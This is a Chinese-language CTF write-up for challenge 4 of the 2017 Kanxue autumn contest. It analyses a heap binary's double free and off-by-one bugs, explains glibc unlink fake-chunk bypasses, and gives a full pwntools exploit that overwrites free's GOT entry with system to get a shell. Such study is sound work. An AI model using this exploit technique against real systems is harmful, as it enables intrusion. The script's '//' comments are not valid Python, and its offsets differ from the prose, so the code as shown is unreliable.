2017看雪秋季CTF--第四题分析笔记

题目介绍:


2017看雪秋季CTF--第四题分析笔记_第1张图片
start.png

打开,题目有6个功能,进ida详细查看


2017看雪秋季CTF--第四题分析笔记_第2张图片
idamain.png

分析功能:
1号:get a box
2017看雪秋季CTF--第四题分析笔记_第3张图片
1.png

可以看出,这个功能号就是用来申请一个堆空间,不过这里有限制,
先去if看下这些全局变量有什么限制


90.png
2017看雪秋季CTF--第四题分析笔记_第4张图片
>.png
2017看雪秋季CTF--第四题分析笔记_第5张图片
<.png

由以上代码可以看出,申请的当前空间要比排它前面的大0x10比排在它后面的小0x10,跟进B95的局部变量,数组有7个元素,第0跟第6个元素已经被设定了初始值,第1到第5为0。这5个元素就是用来记录申请到的box的大小。又由于数组第0与第6个元素被初始化为了8和0x1000所以我们可以申请的堆大小范围在0x18 ~ 0xFF0之间

2号功能:destory a box


2017看雪秋季CTF--第四题分析笔记_第6张图片
des.png

看if判断,看数组


b0.png

结合程序逻辑可以看出,只有small与normal类型的box可以被free。并且由于free后没有重置202130的值,结合一号功能,所以每种类型的box只能使用一次,这里还有一个很明显的漏洞存在,free后的buffer指针没有被清空,所以可能导致double free的利用

3号功能:leave me a message in box


2017看雪秋季CTF--第四题分析笔记_第7张图片
3.png

这里也有一个问题,写入次数比buffer多了一字节,所以可以用off-by-one

4号功能:show message in box


2017看雪秋季CTF--第四题分析笔记_第8张图片
4.png

单纯的显示buffer内容,可以用来泄露地址。

5号功能:guess a random number


2017看雪秋季CTF--第四题分析笔记_第9张图片
5.png

是一个彩随机数的小游戏,猜中了返回随机种子,猜错了会告诉你正确的随机数,这里的随机种子就是seed的全局变量的地址,由于程序开启了PIE所以这里是获取程序基址的地方。

6号输出:


2017看雪秋季CTF--第四题分析笔记_第10张图片
6.png

关于堆的分配,堆管理中的chunk指针是指向chunk头部,大小也是包括头部的,而用户申请的大小只是数据空间的大小,返回的指针也是指向数据空间。
堆的double free利用主要是根据堆分配的原理及规律、堆悬空指针的存在及unlink机制实现的。

堆的分配一般是从低地址到高地址连续分配,这就会发生新申请的chunk直接释放,再申请的新chunk其堆指针是一样的。而其回收释放是通过bins完成的,释放的chunk根据其大小不同将其加入bins的单身或双向链表。

堆的释放过程:检查相邻前后chunk是否释放,如果释放,就会进行向前或向后合并,当前chunk指针变为指向前一个(后一个chunk)的指针,并将free状态的相邻chunk从bins中unlink,再合并后的chunk添加到双向链表(非fast chunk)中。

unlink的主要宏代码如下:
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;

当前的libc堆管理为了防止double free,释放chunk前,检查FD->bk=BK->fd=P, P为当前需要free的chunk指针,BK的前一个chunk的指针,FD为后一个chunk的指针。如果有一个堆指针可控,并在一个chunk的数据段内,再如果有个可控的地址是指向P的,记为* X=P。那么我们就在此chunk上构造两个chunk,第一个chunk在pre_size的标志位P设为1,大小到P结束,第二个chunk的pre_size的标志位P设为0,针对64位系统,第一个chunk的fd设为(X-0x18),bk设为(X-0x10),即P->fd=(X-0x18),P->fd=(X-0x10),又因为*X=P,所以(X-0x18)->bk=P,(X-0x10)->fd=P,通过unlink的检查,按照unlink的宏代码,unlink过程中X的内容前后被写为(X-0x10)、(X-0x18),最终X的内容被我们改写。

程序看完之后开始构造payload:

获取加载基址
首先先通过猜伪随机数来获取程序的加载基址,
预测伪随机数,需要一个公式
r[i] = (r[i-3] + r[i-31]) & 0x7fffffff

关于double free:
由于只有small和normal的box可以free,所以先创建normal与big,然后释放掉normal,之后再创建little与small,并通过normal的指针来构造fake chunk,

首先申请400与450大小的normal box和big box,释放normal box,再申请150与200大小的little box和small box,这样normal box与little box的指针是同一个地址,又由于本程序中写入数据只看指针与box大小,所以此时的normal box的指针可以同时操作little box和small box的内存,这样就可以来构造fake chunk。

2017看雪秋季CTF--第四题分析笔记_第11张图片
mem.png

布置fake chunk的内存数据,用上面的地址来描述,fake chunk的prev size和size放在0x0000558DC84DA420和0x0000558DC84DA428,0x0000558DC84DA430处开始写入fd与bk,由于unlink新增加的检测,所以这里需要分别写入一个指向fake chunk头部的指针的地址减0x18和0x10,这样就能满足FD->bk == p && BK->fd == p,p表示当前chunk,FD表示当前chunk的fd指向的chunk, BK表示当前chunk的bk指向的chunk,所以这里选择全局变量boxBuff - 0x18和boxBuff - 0x10的地址来写入。
然后还要修改0x0000558DC84DA4B0处的prev size和0x0000558DC84DA4B8处表示前chunk是否空闲的最低位为0这样当释放此处的堆时会因为向前合并而调用unlink,所以这里根据实际情况,写入0x90和0xD0,构造fake chunk后内存布局如下(A为填充数据):


2017看雪秋季CTF--第四题分析笔记_第12张图片
mem2.png

对small box进行free操作,触发unlink,使得0x0000558DC6C4C108处的指针指向0x0000558DC6C4C0F0,因此可以通过对0x0000558DC6C4C108进行写入来覆盖自身的指针到任意位置,造成任意地址读写,这里选择覆盖为free的plt表地址,这样就可以通过读取free的plt表的值来计算system的地址,然后再用计算出来的system的地址覆盖plt表中free的地址,这样再次free时实际调用的就是system,free的指针就是/bin/sh串的起始地址,就能get shell

找到地址:


202130.png
seed.png
free.png

完整的脚本:

from pwn import *

context.arch = 'amd64'
p = process('./club')
libc = ELF('./libc-2.24.so')
#p = remote('123.206.22.95', 8888)
#libc = ELF('./libc.so.6')
#context.log_level = 'debug'

def writeMsg(index, msg):
    p.sendline('3')
    p.recvuntil('> ')
    p.sendline(str(index))
    p.sendline(msg)
    p.recvuntil('> ')

def createBox(index, size):
    p.sendline('1')
    p.recvuntil('> ')
    p.sendline(str(index))
    p.recvuntil('> ')
    p.sendline(str(size))
    p.recvuntil('> ')

def freeBox(index):
    p.sendline('2')
    p.recvuntil('> ')
    p.sendline(str(index))
    p.recvuntil('> ')

def guess(i):
    p.sendline('5')
    p.recvuntil('> ')
    p.sendline(str(i))
    res = p.recvline()
    p.recvuntil('> ')
    num = res.split()[-1][:-1]
    return int(num)

if __name__ == '__main__':
    print '[+]guess random number'
    p.recvuntil('> ')
    baseAddr = 0
    lstRand = []
    for i in range(31):
        lstRand.append(guess(i))
        //猜数部分
    for i in range(31, 33):
        rnd = (lstRand[i-3] + lstRand[i-31]) & 0x7fffffff
        p.sendline('5')
        p.recvuntil('> ')
        p.sendline(str(rnd))
        tmp = p.recvline()
        if 'G00dj0b' in tmp:
            baseAddr = int(tmp.split()[-1][:-1]) - 0x202148 //计算基地址
            p.recvuntil('> ')
            break
        p.recvuntil('> ')

    print '[+]baseAddr:' + hex(baseAddr)
    print '[+]begin make fake chunk'
    createBox(3, 400)
    createBox(4, 450)
    freeBox(3)
    createBox(1, 150)
    createBox(2, 200)
    boxbuff = baseAddr + 0x202100   //payload写入位置
    print '[+]boxbuff:' + hex(boxbuff)
    payload = p64(0) + p64(0x90) + p64(boxbuff-0x10) + p64(boxbuff-0x8) + 'A'*0x70 + p64(0x90) + p64(0xD0) + '/bin/sh\x00' + '\0' * 0x20
    writeMsg(3, payload)      //构造payload并写入


    //unlink
    print '[+]begin unlink'
    freeBox(2)
    print '[+]modify free to system'
    freeAddr = baseAddr + 0x202018    //.got.plt:free位置
    print '[+]freed@plt:' + hex(freeAddr)
    freeOff = libc.symbols['free']    //查找free和system
    systemOff = libc.symbols['system']
    payload2 = p64(0) + p64(0) + p64(0) + p64(freeAddr)
    writeMsg(1, payload2)    //写入free地址
    p.sendline('4')
    p.recvuntil('> ')
    p.sendline('1')
    tmp = p.recvline(keepends=False)    //接收little盒子msg,即free地址
    p.recvuntil('> ')
    print '[+]free addr:' + hex(u64(tmp.ljust(8, "\0")))    //用0填充至8位
    systemAddr = u64(tmp.ljust(8, "\0")) - freeOff + systemOff
    print '[+]system addr:' + hex(systemAddr)
    writeMsg(1, p64(systemAddr))
    
    print '[+]get shell' //再次free提权
    p.sendline('2')
    p.recvuntil('> ')
    p.sendline('2')
    p.interactive()

最后找到了作者的博客,有关于作者的出题思路

你可能感兴趣的:(2017看雪秋季CTF--第四题分析笔记)